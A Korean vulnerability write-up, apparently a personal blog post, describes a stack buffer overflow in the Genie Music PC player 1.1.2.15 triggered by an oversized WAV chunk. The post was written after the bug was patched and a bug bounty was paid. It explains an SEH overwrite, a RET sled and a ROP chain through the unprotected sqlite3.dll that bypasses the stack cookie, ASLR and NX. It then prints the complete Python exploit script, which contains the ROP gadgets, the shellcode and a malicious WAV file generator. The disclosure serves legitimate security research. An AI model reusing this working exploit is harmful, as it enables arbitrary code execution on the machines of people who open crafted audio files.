공격자에 의해 특수하게 조작된 WAV파일을 지니뮤직 PC플레이어로 열면 공격자가 원하는 코드를 실행 가능합니다.
지니 PC플레이어 1.1.2.15 (이외 버전에선 테스트 하지 않음.)
최신버전은 1.1.2.17 버전으로, 취약점이 패치된지 오랜시간이 지나 악용가능성이 낮다고 판단하여 공개합니다.
WAV파일의 청크를 파싱하는 과정에서, chunkID 가 “data” 가 아닌 경우 chunkSize만큼 스택에 fread를 통해 적재하게 되는데 이때 파싱을 위해 스택에 선언한 변수의 크기는 아래 그림과 같이 128바이트 입니다.
정상적인 WAV파일 이라면 data청크를 제외한 청크의 크기는 작은 편이라 대부분의 경우 문제가 되지 않지만, 특수하게 조작하여 아래 그림과 같이 chunkSize가 128 이상이라면 스택 버퍼 오버플로가 발생하게 됩니다.
취약점이 발생하는 메인 바이너리(geniemusic.exe
) 는 스택쿠키, ASLR, NX가 적용되어 있습니다. 한편 메인 바이너리에서 사용하는 sqlite3.dll
에는 ASLR, NX, SafeSEH 등의 보호기법이 적용되어 있지 않습니다.
스택쿠기를 우회하기 위해서는 SEH Overwrite를 하면 되는데, ASLR이 적용되어 있지 않은 sqlite3.dll
에 적당한 가젯이 없어 조금 해맸습니다.
SEH 익셉션이 났을때, ESP를 원래대로 돌리기 위해 sqlite3.dll
에 있는 <add esp,0x71C [...] ret>
가젯을 사용하였습니다.
환경에 따라 익셉션이 났을때의 스택과 원래 스택간의 거리 차이를 고려하여 RET 슬렌딩 역시 사용하였고, 이로 인해 대부분의 환경에서 거의 예외없이 익스플로잇이 성공합니다.
한편, fread에서 단순히 많은 양을 스택에 읽도록 하여도 Access Violation이 일어나지 않을 수 있는데, chunkSize를 0x8000에서 0x10000까지 0x100 만큼 늘려가면서 총 128개의 청크를 작성하여, 거의 예외 없이 스택을 다써, Access Violation이 반드시 일어나게끔 익스플로잇을 작성하였습니다.
아래는 Exploit 진행 과정입니다.
SEH가 덮혀 0x61e6b62e의 주소로 EIP가 바뀐 모습:
RET 슬렌딩이 진행중인 모습:
RET슬렌딩 이후 스택에 ROP체인이 들어간 모습:
스택에 Execute 권한이 부여되어 정상적으로 쉘코드가 실행되는 모습:
전체 Exploit 코드 (당시 KISA에 제출한 Exploit 그대로이며, Python2로 작성되었습니다.) :
### make_ex.py
from struct import *
p32 = lambda x : pack('<L', x)
u32 = lambda x : unpack('<L', x)[0]
f = open("ex_real@@@.wav","wb")
rop_gadgets = [0x61e34d4a, # POP EDX // RETN [sqlite3.dll]
0x61ea130c, # ptr to &VirtualProtect() [IAT sqlite3.dll]
0x61e03605, # MOV EAX,DWORD PTR DS:[EDX] // POP EBP // RETN [sqlite3.dll]
0x41414141, # Filler (compensate)
0x61e34207, # # PUSH EAX # POP EBX # POP ESI # POP EBP # RETN ** [sqlite3.dll] **
0x00000000, # ESI ---> 0
0x41414142, # Temp?
0x61e8a4bc, # # ADD ESI,EBX # RETN ** [sqlite3.dll] ** | {PAGE_EXECUTE_READ}
0x61e2f59b, # POP EBP // RETN [sqlite3.dll]
0x61e787e4, # & push esp // ret 0x04 [sqlite3.dll]
0x61e8a25d, # POP EBX // RETN [sqlite3.dll]
0x00000201, # 0x00000201-> ebx
0x61e34d4a, # POP EDX // RETN [sqlite3.dll]
0x00000040, # 0x00000040-> edx
0x61e8a6e8, # POP ECX // RETN [sqlite3.dll]
0x61ea181f, # &Writable location [sqlite3.dll]
0x61e8a6b5, # POP EDI // RETN [sqlite3.dll]
0x61e89941, # RETN (ROP NOP) [sqlite3.dll]
0x61e06256, # POP EAX // RETN [sqlite3.dll]
0x90909090, # nop
0x61e21d2d, # PUSHAD // ADD AL,89 // RETN [sqlite3.dll]
]
shellcode = "\x31\xD2\x52\x68\x63\x61\x6C\x63\x54\x59\x52\x51\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x54\x1F\x24\x0F\xB7\x2C\x17\x42\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF0\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\xAE\xFF\xD7"
ex_code = ""
#RET Sled
ex_code += p32(0x61e6b63a)*(0x3ac / 4)
#Pop-RET
ex_code += p32(0x61e6b639)
#add esp,0x71C // mov eax,ebx // pop ebx // pop esi // pop edi // pop ebp // ret
ex_code += p32(0x61e6b62e) #Seh.
for i in rop_gadgets:
ex_code += p32(i)
ex_code += shellcode
### Header
f.write("\x52\x49\x46\x46\x98\x35\x00\x00\x57\x41\x56\x45\x66\x6D\x74\x20\x10\x00\x00\x00\x01\x00\x01\x00\xEF\x56\x00\x00\xEF\x56\x00\x01\x00\x08\x00d")
#Chunk
for i in xrange(0x8000,0x10000, 0x100):
#Chunk
data = "hell"
data += p32(i)
data += ex_code
data += "A"*(i - len(ex_code) )
f.write(data)
f.close()
210만원 받았습니다. 맛있는거 사먹었습니다.